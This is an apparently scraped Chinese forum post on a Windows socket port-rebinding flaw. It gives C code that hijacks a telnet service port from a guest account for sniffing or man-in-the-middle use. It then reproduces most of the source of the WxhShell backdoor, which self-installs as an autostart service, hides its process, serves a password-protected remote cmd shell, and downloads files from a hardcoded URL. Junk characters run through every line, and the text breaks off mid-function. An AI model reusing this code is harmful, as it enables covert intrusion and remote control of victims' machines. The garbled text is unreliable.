在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'hi.$G_R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
${F]N } :|?nz$ saddr.sin_family = AF_INET;
/?j
vv& ]1
OZY@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
m0k~8^L@f iv/!c Mb bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
!
uyC$8V*l ("L&iu\`@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,2YkQ/> Z>H
y+Q4 这意味着什么?意味着可以进行如下的攻击:
.3.oan*i qEoa%O 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-q.tU*xf' GwoN= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
tb-:9*2j- >~sAa+Oxi 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
fc#zhp5bX hs"=>(P) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
CcHf1
_CI ]%PQ3MT. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
yJ&`@gB vA*Ud;%R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Q,mmHw.`J VY5/C;0^h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Je#vl4<L A%pBvULH #include
*3A[C-1~. #include
1 f;k)x #include
crt
)}L8- #include
Ok=RhoZZ DWORD WINAPI ClientThread(LPVOID lpParam);
./009p int main()
*L3>:],7 {
(*Jcx:rH WORD wVersionRequested;
i<*{Z~B DWORD ret;
sacaL4[_< WSADATA wsaData;
n%>c4*t BOOL val;
<I{)p;u1 SOCKADDR_IN saddr;
wYrb P11 SOCKADDR_IN scaddr;
L/,W int err;
<4{,u1!t SOCKET s;
;:[!I ]E0 SOCKET sc;
pUs s_3 int caddsize;
z;_fO>u: HANDLE mt;
\WnI&nu DWORD tid;
32r2<QrX wVersionRequested = MAKEWORD( 2, 2 );
=!b<@41 err = WSAStartup( wVersionRequested, &wsaData );
u2SnL$A7 if ( err != 0 ) {
SJRiMR_F~ printf("error!WSAStartup failed!\n");
gm63dE> return -1;
"?Eh_Dw }
n\#RI9#\ saddr.sin_family = AF_INET;
K>2mm!{ <303PPX^6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
G.3qg% &!uNN|W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
<wt#m`Za saddr.sin_port = htons(23);
<(YmkOS+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4,!S?:7 {
][|)qQ%V printf("error!socket failed!\n");
0pWF\<IZ return -1;
.~+I"V{yF }
5h9`lS2 val = TRUE;
w
a!g/\ //SO_REUSEADDR选项就是可以实现端口重绑定的
P~V0<$C if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<|_/i/H {
dsKEWZ
= printf("error!setsockopt failed!\n");
_y q"F#,* return -1;
x: `]uOp }
=rV*iLy //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6OJ`R.DM` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2} ,|RQETy //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
mX)UoiXue ]bG8DEwD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
X&1R6O {
\$o!M1j ret=GetLastError();
;F@N2j#
printf("error!bind failed!\n");
:*aBiX" return -1;
N:j"W,8 }
FnN@W^/z listen(s,2);
]VifDFL} while(1)
;?>xuC$ {
o*2TH2 caddsize = sizeof(scaddr);
t{\FV@R //接受连接请求
Ctpr. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
p$XL|1G*?H if(sc!=INVALID_SOCKET)
f?wn;;z` {
}ZMbTsm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>5{Z'UWxh if(mt==NULL)
? *I2?
{
`)`J printf("Thread Creat Failed!\n");
7]t$t3I` break;
Yyq:5V! }
HhN;&67~Z }
MS,J+'2 CloseHandle(mt);
{{c/:FTEU }
=.9L/74@ closesocket(s);
S) /(~ WSACleanup();
&>UI { return 0;
F V8K_xj }
e"u=4nk DWORD WINAPI ClientThread(LPVOID lpParam)
c <8s\2 {
=v-BzF15 SOCKET ss = (SOCKET)lpParam;
qJ=4HlLno SOCKET sc;
3 8>?Z]V unsigned char buf[4096];
c"w}<8
SOCKADDR_IN saddr;
^2L\Y2 long num;
-~O7.E(ok DWORD val;
Zgt:ZO DWORD ret;
NIcPjo //如果是隐藏端口应用的话,可以在此处加一些判断
h:iK; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=B9Ama saddr.sin_family = AF_INET;
gF(aYuk saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-POV#1s saddr.sin_port = htons(23);
hqW4.|&\c if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`9a %vN {
5[.Dlpa'7 printf("error!socket failed!\n");
vtyk\e) return -1;
Q}GsCmt=)O }
z1t
YD val = 100;
E5D5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-1Acprr {
R=g~od[N_ ret = GetLastError();
\ct) / return -1;
P?GHcq$\ }
%|L+~ = if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x8I=I"Sp {
&kKopJH ret = GetLastError();
TwBwqQ)t return -1;
zr~hGhfq }
}eUeADbC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5gnNgt~ {
hsIC5@s3 printf("error!socket connect failed!\n");
">vxYi closesocket(sc);
J%d\ 7 closesocket(ss);
Kh<xQ:eMy return -1;
}%_h|N }
g4,>cqRkq while(1)
UR|UGldt_T {
hGmJG,H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#9aB3C //如果是嗅探内容的话,可以再此处进行内容分析和记录
/QDlm>FM4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Pt~mpRlH num = recv(ss,buf,4096,0);
}oHA@o5 if(num>0)
{3@lvoDT send(sc,buf,num,0);
T|o[! @:, else if(num==0)
!=j\pu}
Z break;
iM;7V*u num = recv(sc,buf,4096,0);
=Nn&$h l if(num>0)
PjriAlxD send(ss,buf,num,0);
%[(DFutJY+ else if(num==0)
<rd7<@>5D break;
Kbjt CI7 }
<k)@PAV closesocket(ss);
B{'x2I#, closesocket(sc);
N1rBpt return 0 ;
Jolr"F? }
NZ:A?h2JR `6:;*#jO, DJ?kQ ==========================================================
|:_WdU"Q] }t!,{ZryE1 下边附上一个代码,,WXhSHELL
/ sI0{ }HB)%C50. ==========================================================
dIiQ^M J
[}8&sn #include "stdafx.h"
~e,k71 ^E_`M:~ #include <stdio.h>
t5dk}sRF #include <string.h>
?n o.hf #include <windows.h>
'"C$E922 #include <winsock2.h>
~~eR,HYk #include <winsvc.h>
{=Y%=^! s #include <urlmon.h>
$Lpt2:.(( rbl EyCR #pragma comment (lib, "Ws2_32.lib")
'51DdTU #pragma comment (lib, "urlmon.lib")
6.? Ke8iC q]F2bo #define MAX_USER 100 // 最大客户端连接数
t}LV[bj1u #define BUF_SOCK 200 // sock buffer
W=YFe<Q #define KEY_BUFF 255 // 输入 buffer
6u>${} :G$f)NMK #define REBOOT 0 // 重启
$]:ycn9l #define SHUTDOWN 1 // 关机
o.yuz+ *:r@-=M3= #define DEF_PORT 5000 // 监听端口
,4$ZB(\ gf/$M[H! #define REG_LEN 16 // 注册表键长度
~\A(xmW} #define SVC_LEN 80 // NT服务名长度
P_11N9C
nb}* IExd // 从dll定义API
u,i~,M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
J6Uo+0S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,f0|eu> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
NoS|lT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
o33wePx, f\CJ |tKX // wxhshell配置信息
@,
v'V! struct WSCFG {
Oga/ int ws_port; // 监听端口
v%O KOrJ char ws_passstr[REG_LEN]; // 口令
yRt]i> int ws_autoins; // 安装标记, 1=yes 0=no
lUWX[, char ws_regname[REG_LEN]; // 注册表键名
@]r,cPx0Y char ws_svcname[REG_LEN]; // 服务名
bdh6ii char ws_svcdisp[SVC_LEN]; // 服务显示名
3|4jS"t{f char ws_svcdesc[SVC_LEN]; // 服务描述信息
: vN'eL|# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
tr 8a_CV int ws_downexe; // 下载执行标记, 1=yes 0=no
1eue.iuQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
TR:V7d char ws_filenam[SVC_LEN]; // 下载后保存的文件名
x(J|6Ey7!n I}JC ~=`j };
TVVL1wZ |sd0fTK // default Wxhshell configuration
dh r)ra] struct WSCFG wscfg={DEF_PORT,
<SeK3@Gi "xuhuanlingzhe",
QkbXm[K.Z 1,
qN h:;` "Wxhshell",
5U)Ia>p "Wxhshell",
??&Q"6Oe "WxhShell Service",
E ,5XX;| "Wrsky Windows CmdShell Service",
7x8/Vz@\ "Please Input Your Password: ",
&NbhQY`k 1,
E.V#Bk=
"
http://www.wrsky.com/wxhshell.exe",
px6[1'|g "Wxhshell.exe"
R5M/Ho 4 };
D:`b61sWi_ !#l>+9 // 消息定义模块
x6Q,$B char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
? <b>2j char *msg_ws_prompt="\n\r? for help\n\r#>";
P|,@En 1! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
X|!VtO char *msg_ws_ext="\n\rExit.";
Pn:L=* char *msg_ws_end="\n\rQuit.";
(tQ#('(w char *msg_ws_boot="\n\rReboot...";
_*\:UBZx6 char *msg_ws_poff="\n\rShutdown...";
d:08@~# char *msg_ws_down="\n\rSave to ";
wc?`QX}I -4du`dg char *msg_ws_err="\n\rErr!";
TEQs\d char *msg_ws_ok="\n\rOK!";
bgD4;)?5b om6'%nXhn char ExeFile[MAX_PATH];
Ox.6]W~ int nUser = 0;
W"j&':xD HANDLE handles[MAX_USER];
~qFuS933 int OsIsNt;
$ ?ayE m-V_J`9" SERVICE_STATUS serviceStatus;
RsnKB/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
1/b5i8I2v HRX}r$ // 函数声明
fuRCM^U( int Install(void);
CK4C:`YG int Uninstall(void);
\@")2o+ int DownloadFile(char *sURL, SOCKET wsh);
Zy!^HS$ int Boot(int flag);
V~nqPh!Jc void HideProc(void);
~z;G$jd int GetOsVer(void);
p0c*)_a* int Wxhshell(SOCKET wsl);
WI@l2`X void TalkWithClient(void *cs);
(^h2'uB int CmdShell(SOCKET sock);
y8oqCe) int StartFromService(void);
5d ?\>dA int StartWxhshell(LPSTR lpCmdLine);
.gZ1}2GF= D^]g`V*N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
f]c{,LFvZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
~kHWh8\b: D(bQFRBY6" // 数据结构和表定义
}Xa1K;KM{ SERVICE_TABLE_ENTRY DispatchTable[] =
D==C"}J {
jL^3/0"o {wscfg.ws_svcname, NTServiceMain},
MaMP7O|W {NULL, NULL}
B=vBJC) };
,3+ #?H .7GTL // 自我安装
IR_&dWHyc int Install(void)
Ql 2zC9C {
-jXO9Q char svExeFile[MAX_PATH];
42E%&DF HKEY key;
= Ob-'Syg> strcpy(svExeFile,ExeFile);
EA#{N< 'YFy6rds // 如果是win9x系统,修改注册表设为自启动
4i]h0_] if(!OsIsNt) {
_k'?eZB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
utSW> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,>
%=,x RegCloseKey(key);
_+B{n^ { if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
NW=gi
qB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WdtZ{H RegCloseKey(key);
nF"NXYa return 0;
(^!$m7 }
zDD }
\mp2LICQg }
TzSEQS{ else {
Bp:PAy eDkJ+5b // 如果是NT以上系统,安装为系统服务
SN#Cnu} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
w20)~&LE- if (schSCManager!=0)
ZovF]jf k {
xLN$!9t SC_HANDLE schService = CreateService
oy[>`qyz (
2E0A` schSCManager,
4:zyZu3fm wscfg.ws_svcname,
s~i73Qk/ wscfg.ws_svcdisp,
(R^qY"H
2 SERVICE_ALL_ACCESS,
uO^,N**R# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\&XtPQ SERVICE_AUTO_START,
;Q.'u SERVICE_ERROR_NORMAL,
w ]%EJ|' svExeFile,
L9Z\|L5 NULL,
v#^ _| NULL,
<>shx;g^C NULL,
q1Sr#h| NULL,
FE=vUQXE2 NULL
RKb{QAK!v );
->9waXRDz) if (schService!=0)
)x&4 Q= {
P*!~Z*" CloseServiceHandle(schService);
zE8qU; CloseServiceHandle(schSCManager);
#Fkn-/nL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
PP{s&( strcat(svExeFile,wscfg.ws_svcname);
wn Q% 'Eo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vp|.x |@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4R}$P1 E RegCloseKey(key);
\Dx5= Lh return 0;
MhDPf]`
Gg }
$?*XPzZ }
D b&=
N CloseServiceHandle(schSCManager);
MwE^.6xl{ }
8+mu'RZ X }
p!/ *(TT !QsmT3 return 1;
ecdM+kP }
1$n!Lj=5 pP)> x*1 // 自我卸载
6^QSV@N| int Uninstall(void)
M<K}H8? {
'GF <_3I2l HKEY key;
3kJ7aBiR< X,`^z,M%I if(!OsIsNt) {
GLiD,QX< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,<O|#`?"@G RegDeleteValue(key,wscfg.ws_regname);
Z}`A'#! RegCloseKey(key);
ijeas< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
WqRaD=R->; RegDeleteValue(key,wscfg.ws_regname);
'>Uip+' RegCloseKey(key);
5?HoCz]l return 0;
}JM02R~I }
i Qa=4'9; }
v$~ZT_"(9 }
)U+Pt98" else {
g{e@I;F +![\7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&`B
Tw1u if (schSCManager!=0)
./_4D} {
;~"#aL50fe SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
83pXj=k< if (schService!=0)
oTb4 T= {
rrrn8b6
if(DeleteService(schService)!=0) {
:pNu$%q CloseServiceHandle(schService);
*?R<gWCF CloseServiceHandle(schSCManager);
nV_[40KP_ return 0;
"ZR^w5 }
5
8n(fdE CloseServiceHandle(schService);
*kq>Z 06'i }
."h>I @MH CloseServiceHandle(schSCManager);
Eemk2>iP? }
'-[?iF@l }
t}fU 2Yb /_ RrNzqy return 1;
D {N,7kT }
[J6q(}f n_S)9C'= // 从指定url下载文件
~PA6e+gmL int DownloadFile(char *sURL, SOCKET wsh)
EViDMp" {
5^e|802 HRESULT hr;
*k
!zdV char seps[]= "/";
_8s1Wh G char *token;
Lb0B m R%0 char *file;
=`f"8,5 char myURL[MAX_PATH];
WoDQg64 char myFILE[MAX_PATH];
sSsRn*LN-: A08{]E#v> strcpy(myURL,sURL);
KB a
token=strtok(myURL,seps);
- %`iLu while(token!=NULL)
#RTiWD[o {
^T_2s file=token;
m:C |R-IL token=strtok(NULL,seps);
cE7IHQ }
Wu
U_RE VN
>X/ GetCurrentDirectory(MAX_PATH,myFILE);
;2Za]%' strcat(myFILE, "\\");
B+n(K+ strcat(myFILE, file);
a{4RG(I_ send(wsh,myFILE,strlen(myFILE),0);
`cpUl*Y= send(wsh,"...",3,0);
11BfJvs: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-n]E\" if(hr==S_OK)
]7
2wv#- return 0;
{f[X) else
`dm}|$X| return 1;
EM0]"s@Lf 8BggK6X }
w<G'gi] ~,O}wT6q // 系统电源模块
#]e](j>] int Boot(int flag)
hgI;^ia
{
=(]||1. HANDLE hToken;
'/GZ,~q TOKEN_PRIVILEGES tkp;
rEY5,'?YHv j[&C6l+wH if(OsIsNt) {
|<w
Z;d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5}he)2*uD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Q2RO&dL
9 tkp.PrivilegeCount = 1;
ca?;!~%zA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
O>Ao#_*hOb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6dQ]=]; if(flag==REBOOT) {
Cl'3I%$8K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
WG(%Pkowv return 0;
TptXH? }
:yE7jXB else {
&dvL` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
YMIX|bj6Y return 0;
+,A7XBn }
<|c[
#f
}
)@\m0bnF else {
Bw8&Amxx: if(flag==REBOOT) {
7?EC
kuSv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ilv
_. return 0;
[XDr-5Dm }
G8Sx;Xi else {
Q(7M_2e7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-8D$ [@y( return 0;
q? 2kD"%$ }
e=w.7DSE }
p'`pO"EO 4Q5c' return 1;
V.12 }
~@N0$S xH/Pw?^ // win9x进程隐藏模块
u|uPvbM void HideProc(void)
G,JK$j>*l
{
us3fBY' z9IJ%=R HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
oar`xH$C if ( hKernel != NULL )
7(1UXtT {
o7WK"E!pF' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
r4(Cb_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n>
O3p
~ FreeLibrary(hKernel);
PXJ`<XM }
H_+F~P5RC *m9,_~t return;
eE-c40Bae }
u @eKh3! M}*#{UV2 // 获取操作系统版本
Ss
c3uo 0 int GetOsVer(void)
_$YT*o@0J {
Y~ ( <H e? OSVERSIONINFO winfo;
a<ztA:xt|1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]eD5It\ GetVersionEx(&winfo);
SwVdo|%.? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
|m /XGr return 1;
K^fH:pV else
9;k!dM return 0;
?f ]!~ }
SFRQpQ06 {'R\C5:D7 // 客户端句柄模块
Nw=mSW^E int Wxhshell(SOCKET wsl)
"f-z3kL {
|jwN8@ SOCKET wsh;
qD?-&>dBWi struct sockaddr_in client;
k6PHyt`3' DWORD myID;
:KL5A1{ K%/:V while(nUser<MAX_USER)
yk7 l{F {
+Xjevg6DU int nSize=sizeof(client);
.<|.nK` 6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
BO3%p if(wsh==INVALID_SOCKET) return 1;
j/Rm~!q Z_Z; g]|! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"8|a4Y+F if(handles[nUser]==0)
I:9jn" closesocket(wsh);
K
oF4e:2> else
U)g27*7 nUser++;
jQLiqi` }
(hv>vfY@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
g<"k\qs7 uY'77,G_J return 0;
dDoKmuY>5 }
eaGd:( ,F)9{ <r] // 关闭 socket
5,n{-V void CloseIt(SOCKET wsh)
{f
kP|d {
c5e
wG closesocket(wsh);
si|DxDx nUser--;
%Yi^{ZrM ExitThread(0);
b08s610fk }
I||4.YT )^'g2gVK+p // 客户端请求句柄
KqH_?r` void TalkWithClient(void *cs)
]E/~PV {
/y<nAGtD& O3>m,v SOCKET wsh=(SOCKET)cs;
!^EdB}@yS char pwd[SVC_LEN];
L[s8`0 char cmd[KEY_BUFF];
vQiKpO* char chr[1];
k_}aiHdG int i,j;
$JTQA aHvsgp] while (nUser < MAX_USER) {
%Qc5_of #=* y7w if(wscfg.ws_passstr) {
; OpN&q+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|{G GATni //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
")cJA f //ZeroMemory(pwd,KEY_BUFF);
yd-Kg zm8n i=0;
k-uwK-B}v+ while(i<SVC_LEN) {
n6f Cm5:_K`;] // 设置超时
HI}9"(t} fd_set FdRead;
jg7WMH"` struct timeval TimeOut;
e<;^P(g`E FD_ZERO(&FdRead);
RXF%A5FXh FD_SET(wsh,&FdRead);
=Hs[peO* TimeOut.tv_sec=8;
[`eqma TimeOut.tv_usec=0;
l5R0^!t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;F:~HrxT} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@Pt,N
qj: ' `K-rvF,C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^XIVWf#`H pwd
=chr[0]; 'l| e}eti>
if(chr[0]==0xd || chr[0]==0xa) { =/b WS,=
pwd=0; #r ;;d(
break; pDg_^|
} X/D^?BKC
i++; j.FW*iX1C
} :172I1|7
UJWkG^?
// 如果是非法用户,关闭 socket zL<<`u?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ! 9U
} Gc'CS_L
:+m8~n$/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !k= ~5)x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /s\_"p
+?!x;qS^
while(1) { ^^-uq)A
cxNb!G
ZeroMemory(cmd,KEY_BUFF); 6_s_2cr
\ tK{!v+
// 自动支持客户端 telnet标准 n4YedjHSN
j=0; }95;qyQ$
while(j<KEY_BUFF) { 5:o$]LkOWC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 79?%g=#=
cmd[j]=chr[0]; d\R]>
if(chr[0]==0xa || chr[0]==0xd) { [=
GVK
cmd[j]=0; Y<vsMf_U
break; D_HE!fl
} (np %urx!
j++; Gw0_M&
} Y}/e"mp
D]s8w
// 下载文件 |"Rl_+d7D
if(strstr(cmd,"http://")) { jBTXs5q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); },d`<^~
if(DownloadFile(cmd,wsh)) xgX"5Czvv`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ev R6^n/
else eoC@b/F4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Mm9QF;iA
} =ca<..yh[d
else { aa'u5<<W
0x-58i0
switch(cmd[0]) { 7h3#5Y
i09w(k?
// 帮助 t#Q" ;e
case '?': { g@va@*|~d
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (L{Kg U&{$
break; mv,<#<-W
} 4r&S&^
// 安装 Q bg,q
case 'i': { [&Z3+/lR*
if(Install()) 4rmSo^vK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %SwN/rna
else |7K[+aK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &!y7PWHJ
break; ZwV`} 2{
} lR^OS*v
// 卸载 X/
\5j
case 'r': { wQ 7G_kVp
if(Uninstall()) x}`]9XQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :`9hgd/9
else r@2{>j8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >#q2KXh
break; yN0!uzdW*
} f?ImQYqP
// 显示 wxhshell 所在路径 n>_EEw2/
case 'p': { <h$Nh0
char svExeFile[MAX_PATH]; C/JeD-JG
strcpy(svExeFile,"\n\r"); ?HP54G<{xz
strcat(svExeFile,ExeFile); 5&y;r
send(wsh,svExeFile,strlen(svExeFile),0); w/L^w50pt
break; A?DgeSm
} Koi
// 重启 PJ=N.xf}
case 'b': { y;!q E~!3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y4\BHFq
if(Boot(REBOOT)) =1JS6~CTLN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]8}+%P,Q
else { J H%^FF2
closesocket(wsh); ^l UV^%f
ExitThread(0); Qg7rkRia
} YpAJ7E|7
break; 92@/8,[
} sG/mmZHYzr
// 关机 },"T,t#
case 'd': { >y2;sJ4]D%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t8"*jt
if(Boot(SHUTDOWN)) ,Zpc vK/S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dFd^@b
else { ad\?@>[I
closesocket(wsh); hnQDm$k
ExitThread(0); r((2.,\Z
} ECO4ut.d
break; W>ziA
} !besMZ
// 获取shell K+0&~XU
case 's': { -/#VD&MJO=
CmdShell(wsh); P9Gjsu #
closesocket(wsh); fZ9EE3
ExitThread(0); )JO#Z(
break; @>wD`<U|
} B? Vr9H 7n
// 退出 hPCt-
case 'x': { E&\dr;{7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V~Zi #o
CloseIt(wsh); A9*( O)
break; 4(VVEe
} x[mxp/
/P
// 离开 X{n7)kgL
case 'q': { pjC2jlwm*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ub0hISA
closesocket(wsh); CQf<En|1
WSACleanup(); b8?qYm
exit(1); sr0.4VU1
break; .6,+q2tyk,
} Q*S|SH-cZ0
} &GF|Rr8NXs
} b`NXe7A
ZP@or2No%
// 提示信息 egBjr?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y_^w|
} ^i"C%8
} ^2gDhoO_
hSxlj7Eo^T
return; 2Xu?/yd
} a@|/D\C
C~do*rnM^
// shell模块句柄 O*hd@2hd
int CmdShell(SOCKET sock) 6^W6As0
{ }Pm>mQZ},
STARTUPINFO si; \9U4V>p
ZeroMemory(&si,sizeof(si)); ND w+bR-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 16iymiLz&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HT]v S}s
PROCESS_INFORMATION ProcessInfo; jpL'y1@Ut
char cmdline[]="cmd"; ?'xTSAn
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oYYns%r}{
return 0; |4UU`J9M
} '}3m('u
- nWs@\
// 自身启动模式 -hM
nA)+
int StartFromService(void) #RE
{ '~dE0ohWb
typedef struct L{v^:
{ '%W'HqVcG1
DWORD ExitStatus; .U8Se+;
DWORD PebBaseAddress;
z*Y4t?+
DWORD AffinityMask; omxBd#;F$
DWORD BasePriority; ;5wmQFr
